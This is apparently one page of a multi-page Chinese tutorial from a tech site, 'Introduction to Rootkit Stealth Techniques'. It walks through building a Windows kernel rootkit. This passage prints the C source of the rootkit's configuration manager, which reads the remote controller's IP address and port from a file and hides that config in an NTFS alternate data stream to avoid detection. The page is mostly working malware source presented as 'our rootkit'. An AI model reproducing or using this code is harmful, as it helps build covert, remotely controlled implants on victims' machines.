CTOCIO IT专家网

天极传媒 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
IT专家网搜索

网络安全,安全,网络安全设备,信息安全产品,网络安全新闻,信息安全市场分析,黑客攻防,防黑反黑技巧,黑客,网络安全技术,网络安全方案,病毒播报,最新病毒库,攻防技巧,入侵渗透,新闻,思科,Juniper,天融信,瑞星,金山,江民,卡巴斯基,赛门铁克, 趋势,绿盟科技,联想网御,MCAFEE,安氏,冰峰网络,网络入侵,木马,病毒,病毒分析,木马分析,样本分析,木马样本分析,病毒样本分析,杀毒软件

您现在的位置: IT专家网 > 安全子站 > 安全技巧

Rootkit隐形技术入门

作者: 宇文,  出处:51CTO.com , 责任编辑: 韩博颖, 
2008-03-24 09:28
  在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。

  三、配置管理器

  我们的rootkit主体已经建好,不过要想让它干活,还得做些必要的配置。比如,如果需要对其进行远程控制的话,就需要配置相应的连接。所以,我们还需要一个配置管理器,来完成配置rootkit的工作。下面是Rootkit配置管理器的头文件:  

// configManager.h
  // 配置管理器的头文件
  #ifndef _CONFIG_MANAGER_H_
  #define _CONFIG_MANAGER_H_
  Char masterPort[10];
  Char masterAddress1[4];
  Char masterAddress2[4];
  Char masterAddress3[4];
  Char masterAddress4[4];
  NTSTATUS Configure();
  #endif
  我们的头文件configManager.h比较简单,前面部分定义的数据结构用于控制端的通信地址和通信端口。最后声明了一个函数。接下来,我们看一下配置管理器的源代码:  
// configManager.c
  // 首先从c:\config16寻找配置文件
  // If it's there, save as MASTER_FILE:config16 and delete c:\config16
  // If it's not there, try MASTER_FILE:configFile
  // If that doesn't exist, quit!
  #include "ntddk.h"
  #include "fileManager.h"
  #include "configManager.h"
  // Set the controllers IP and port
  NTSTATUS Configure()
  {
  CHAR data[21];
  SHORT vis = 0;
  SHORT loop;
  SHORT dataIndex;
  SHORT addressIndex;
  ULONG fileSize;
  PHANDLE fileHandle;
  //了解读哪个文件
  if( NT_SUCCESS( GetFile( L"\\??\\C:\\config16", data, 21, &fileSize ) ) )
  {
  DbgPrint("comint16: Reading config from visible file.");
  vis = 1;
  }
  else
  {
  if( NT_SUCCESS( GetFile( L"config16", data, 21, &fileSize ) ) )
  {
  DbgPrint("comint16: Reading config from hidden file.");
  }
  else
  {
  DbgPrint("comint16: Error. Could not find a config file.");
  return STATUS_UNSUCCESSFUL;
  }
  }
  //将控制端地址和端口转换成aaa.bbb.ccc.ddd:eeeee格式
  dataIndex = 0;
  addressIndex = 0;
  // First 3 are xxx of xxx.111.111.111:11111
  for( loop = 0; loop < 3; loop++ )
  masterAddress1[addressIndex++] = data[dataIndex++];
  masterAddress1[addressIndex] = 0;
  addressIndex = 0; //复位
  dataIndex++; //跳过点号“.”
  //接下来是111.xxx.111.111:11111中的xxx
  for( loop = 0; loop < 3; loop++ )
  masterAddress2[addressIndex++] = data[dataIndex++];
  masterAddress2[addressIndex] = 0;
  addressIndex = 0; //复位
  dataIndex++; //跳过点号“.”
  //然后处理111.111.xxx.111:11111中的xxx
  for( loop = 0; loop < 3; loop++ )
  masterAddress3[addressIndex++] = data[dataIndex++];
  masterAddress3[addressIndex] = 0;
  addressIndex = 0; //复位
  dataIndex++; //跳过点号“.”
  //然后处理111.111.111.xxx:11111中的xxx
  for( loop = 0; loop < 3; loop++ )
  masterAddress4[addressIndex++] = data[dataIndex++];
  masterAddress4[addressIndex] = 0;
  addressIndex = 0; //复位
  dataIndex++; //跳过冒号“:”
  //接下来的五位数是111.111.111.111:xxxxx中的端口号xxxxx
  for( loop = 0; loop < 5; loop++ )
  masterPort[addressIndex++] = data[dataIndex++];
  masterPort[addressIndex] = 0;
  DbgPrint( "comint16: Using %s.%s.%s.%s:%s",
  masterAddress1,
  masterAddress2,
  masterAddress3,
  masterAddress4,
  masterPort);
  if( vis == 1 )
  {
  DbgPrint("comint16: Saving config to hidden file.");
  PutFile( L"config16", data, fileSize );
  DbgPrint("comint16: You may delete the visible file.");
  }
  return STATUS_SUCCESS;
  }
  以上是配置管理器的源代码。该配置管理器的作用很明显,就是从一个文件中读取17个字符。不过存放这些字符的文件的位置反倒有点复杂:当我们第一次安装rootkit时,该配置文件必须位于c:\config 32,如果配置文件不在这里,rootkit会安静地“结束”;当rootkit激活后,它会把这个配置文件以交换数据流(ADS)形式隐藏起来。

  上面提到了用交换数据流来隐藏文件。也许您对这个概念还不太熟悉,那好,下面我们就开始介绍交换数据流。

共10页。 9 1 2 3 4 5 6 7 8 9 :

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。
  • 周排行榜
  • 月排行榜

邮件订阅


天极服务 | 关于我们 | 网站律师 | 加入我们 | 联系我们 | 广告业务 | 友情链接 | 我要挑错
All Rights Reserved, Copyright 2004-2008, Ctocio.com.cn
渝ICP证B2-20030003号 如有意见请与我们联系 powered by 天极内容管理平台CMS4i